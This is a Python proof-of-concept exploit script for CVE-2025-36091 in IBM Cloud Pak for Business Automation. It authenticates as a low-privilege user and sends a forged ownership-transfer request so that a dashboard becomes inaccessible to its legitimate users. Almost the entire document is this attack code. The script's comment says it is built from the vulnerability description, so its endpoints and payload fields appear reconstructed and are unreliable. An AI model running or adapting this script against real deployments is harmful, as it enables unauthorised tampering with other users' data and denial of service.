CVE-2025-36091

# CVE-2025-36091 PoC - IBM Cloud Pak For Business Automation Dashboard Ownership Manipulation # Note: This PoC demonstrates the concept based on vulnerability description # Actual exploitation requires valid authentication credentials import requests import json TARGET_URL = "https://target-ibm-cp4ba-server.com" DASHBOARD_ID = "target-dashboard-id" # Authentication (requires low-privilege user account) LOGIN_ENDPOINT = f"{TARGET_URL}/auth/login" USERNAME = "low_privilege_user" PASSWORD = "password123" def authenticate(): """Authenticate with low-privilege credentials""" session = requests.Session() auth_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_ENDPOINT, json=auth_data) return session, response.cookies def exploit_dashboard_ownership(session, cookies): """ Exploit the ownership assignment vulnerability This causes dashboards to become inaccessible to legitimate users """ # Dashboard ownership modification endpoint dashboard_endpoint = f"{TARGET_URL}/api/dashboards/{DASHBOARD_ID}/ownership" # Malicious ownership assignment payload payload = { "owner_id": "invalid_or_attacker_controlled_id", "transfer_ownership": True, "force_assignment": True } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Send ownership modification request response = session.put( dashboard_endpoint, json=payload, headers=headers, cookies=cookies ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[!] Dashboard ownership successfully modified - DoS condition achieved") print("[!] Legitimate users can no longer access the dashboard") else: print("[-] Exploitation failed or target already patched") if __name__ == "__main__": print("[*] CVE-2025-36091 PoC - IBM Cloud Pak For Business Automation") print("[*] Vulnerability: Invalid ownership assignment leading to DoS") session, cookies = authenticate() exploit_dashboard_ownership(session, cookies)

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